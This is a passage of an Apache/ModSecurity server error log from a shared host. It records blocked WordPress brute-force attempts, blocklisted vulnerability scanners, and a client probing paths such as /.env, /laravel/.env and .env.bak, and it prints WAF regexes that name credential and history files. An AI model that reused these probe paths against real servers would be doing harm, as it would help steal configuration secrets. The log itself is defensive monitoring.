https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:11.156917 2026] [security2:error] [pid 715691:tid 715737] [remote 152.53.111.131:60380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "teapeak.net"] [uri "/wp-login.php"] [unique_id "ai30M7V-dFiaX9AtWiQYMgABNRs"], referer: https://teapeak.net/wp-login.php [Sat Jun 13 18:22:11.484891 2026] [security2:error] [pid 715691:tid 715943] [client 189.217.192.30:50377] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai30M7V-dFiaX9AtWiQYQQAAAXA"] [Sat Jun 13 18:22:11.485139 2026] [security2:error] [pid 715691:tid 715943] [client 189.217.192.30:50377] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai30M7V-dFiaX9AtWiQYQQAAAXA"] [Sat Jun 13 18:22:11.614987 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:22:11.615433 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:22:11.669904 2026] [access_compat:error] [pid 715691:tid 715765] [remote 57.141.14.45:46548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:11.670162 2026] [access_compat:error] [pid 715691:tid 715765] [remote 57.141.14.45:46548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:11.721958 2026] [access_compat:error] [pid 715691:tid 715773] [remote 57.141.14.110:60842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:11.722210 2026] [access_compat:error] [pid 715691:tid 715773] [remote 57.141.14.110:60842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:11.735871 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.9:38116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:11.736163 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.9:38116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:11.866782 2026] [security2:error] [pid 715691:tid 715937] [client 189.217.192.30:50378] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai30M7V-dFiaX9AtWiQYVwAAAWo"] [Sat Jun 13 18:22:11.867645 2026] [security2:error] [pid 715691:tid 715937] [client 189.217.192.30:50378] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai30M7V-dFiaX9AtWiQYVwAAAWo"] [Sat Jun 13 18:22:11.888334 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.40:31708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:11.888794 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.40:31708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:11.955156 2026] [access_compat:error] [pid 715691:tid 715763] [remote 57.141.14.13:53911] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:11.955598 2026] [access_compat:error] [pid 715691:tid 715763] [remote 57.141.14.13:53911] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:12.053172 2026] [security2:error] [pid 715691:tid 715735] [remote 17.241.219.51:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NLV-dFiaX9AtWiQYXQABWhk"] [Sat Jun 13 18:22:12.075603 2026] [security2:error] [pid 646876:tid 646985] [remote 17.22.237.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NNyTkdrNlD40tSHMNAAAJ2o"] [Sat Jun 13 18:22:12.151465 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvZGV2aWNl [Sat Jun 13 18:22:12.151746 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvZGV2aWNl [Sat Jun 13 18:22:12.180385 2026] [security2:error] [pid 646876:tid 646962] [remote 17.22.237.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NNyTkdrNlD40tSHMNwAAb1M"] [Sat Jun 13 18:22:12.497701 2026] [proxy:error] [pid 715691:tid 715916] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.497789 2026] [proxy_http:error] [pid 715691:tid 715916] [client 208.84.100.145:36828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.498456 2026] [proxy:error] [pid 715691:tid 715916] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.498520 2026] [proxy_http:error] [pid 715691:tid 715916] [client 208.84.100.145:36828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.628502 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.104:41466] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:12.628946 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.104:41466] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:12.659914 2026] [security2:error] [pid 646876:tid 646971] [remote 17.241.219.90:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NNyTkdrNlD40tSHMPQAAc1w"] [Sat Jun 13 18:22:12.677376 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1 [Sat Jun 13 18:22:12.677840 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1 [Sat Jun 13 18:22:12.681480 2026] [proxy:error] [pid 715691:tid 715905] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.681580 2026] [proxy_http:error] [pid 715691:tid 715905] [client 208.84.100.145:37120] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.682767 2026] [proxy:error] [pid 715691:tid 715905] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.682809 2026] [proxy_http:error] [pid 715691:tid 715905] [client 208.84.100.145:37120] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.832447 2026] [security2:error] [pid 715691:tid 715768] [remote 17.246.15.190:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NLV-dFiaX9AtWiQYdAABMzk"] [Sat Jun 13 18:22:12.868821 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.112:41606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:12.869114 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.112:41606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:12.881414 2026] [proxy:error] [pid 715691:tid 715933] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.881518 2026] [proxy_http:error] [pid 715691:tid 715933] [client 208.84.100.145:37040] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.882470 2026] [proxy:error] [pid 715691:tid 715933] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.882546 2026] [proxy_http:error] [pid 715691:tid 715933] [client 208.84.100.145:37040] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.889648 2026] [proxy:error] [pid 715691:tid 715945] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.889755 2026] [proxy_http:error] [pid 715691:tid 715945] [client 208.84.100.145:37042] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.890622 2026] [proxy:error] [pid 715691:tid 715945] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.891316 2026] [proxy_http:error] [pid 715691:tid 715945] [client 208.84.100.145:37042] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.892060 2026] [proxy:error] [pid 715691:tid 715934] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.892125 2026] [proxy_http:error] [pid 715691:tid 715934] [client 208.84.100.145:37024] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.892939 2026] [proxy:error] [pid 715691:tid 715934] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.892991 2026] [proxy_http:error] [pid 715691:tid 715934] [client 208.84.100.145:37024] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.893966 2026] [proxy:error] [pid 715691:tid 715844] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.894034 2026] [proxy_http:error] [pid 715691:tid 715844] [client 208.84.100.145:37056] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.894363 2026] [proxy:error] [pid 646876:tid 647124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.894425 2026] [proxy_http:error] [pid 646876:tid 647124] [client 208.84.100.145:36870] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.894807 2026] [proxy:error] [pid 715691:tid 715844] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.894851 2026] [proxy_http:error] [pid 715691:tid 715844] [client 208.84.100.145:37056] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.895307 2026] [proxy:error] [pid 646876:tid 647124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.895355 2026] [proxy_http:error] [pid 646876:tid 647124] [client 208.84.100.145:36870] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.895628 2026] [proxy:error] [pid 715691:tid 715967] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.895694 2026] [proxy_http:error] [pid 715691:tid 715967] [client 208.84.100.145:36936] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.896515 2026] [proxy:error] [pid 715691:tid 715880] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.896678 2026] [proxy_http:error] [pid 715691:tid 715880] [client 208.84.100.145:37116] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.897089 2026] [security2:error] [pid 646876:tid 647023] [client 208.84.100.145:36874] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.bak"] [unique_id "ai30NNyTkdrNlD40tSHMRAAAAA8"] [Sat Jun 13 18:22:12.897500 2026] [security2:error] [pid 715691:tid 715870] [client 208.84.100.145:37000] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/public/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYgAAAASc"] [Sat Jun 13 18:22:12.897612 2026] [proxy:error] [pid 715691:tid 715967] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.897703 2026] [proxy_http:error] [pid 715691:tid 715967] [client 208.84.100.145:36936] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.898931 2026] [proxy:error] [pid 715691:tid 715902] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.898992 2026] [proxy_http:error] [pid 715691:tid 715902] [client 208.84.100.145:37036] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.899611 2026] [proxy:error] [pid 715691:tid 715857] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.899709 2026] [proxy_http:error] [pid 715691:tid 715857] [client 208.84.100.145:37536] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.900691 2026] [proxy:error] [pid 715691:tid 715857] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.900743 2026] [proxy_http:error] [pid 715691:tid 715857] [client 208.84.100.145:37536] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.900891 2026] [proxy:error] [pid 715691:tid 715929] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.900955 2026] [proxy_http:error] [pid 715691:tid 715929] [client 208.84.100.145:37584] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.901143 2026] [proxy:error] [pid 715691:tid 715880] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.901192 2026] [proxy_http:error] [pid 715691:tid 715880] [client 208.84.100.145:37116] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.901780 2026] [proxy:error] [pid 715691:tid 715929] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.901827 2026] [proxy_http:error] [pid 715691:tid 715929] [client 208.84.100.145:37584] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.902047 2026] [proxy:error] [pid 715691:tid 715902] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.902080 2026] [proxy_http:error] [pid 715691:tid 715902] [client 208.84.100.145:37036] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.902452 2026] [proxy:error] [pid 715691:tid 715967] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.902506 2026] [proxy_http:error] [pid 715691:tid 715967] [client 208.84.100.145:37364] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.903313 2026] [proxy:error] [pid 715691:tid 715967] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.903361 2026] [proxy_http:error] [pid 715691:tid 715967] [client 208.84.100.145:37364] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.907106 2026] [security2:error] [pid 715691:tid 715951] [client 208.84.100.145:36992] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/web/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYhgAAAXg"] [Sat Jun 13 18:22:12.907536 2026] [security2:error] [pid 715691:tid 715854] [client 208.84.100.145:36972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/laravel/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYiAAAARc"] [Sat Jun 13 18:22:12.907800 2026] [security2:error] [pid 715691:tid 715963] [client 208.84.100.145:36974] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/src/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYhQAAAYQ"] [Sat Jun 13 18:22:12.908297 2026] [security2:error] [pid 715691:tid 715903] [client 208.84.100.145:36938] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file 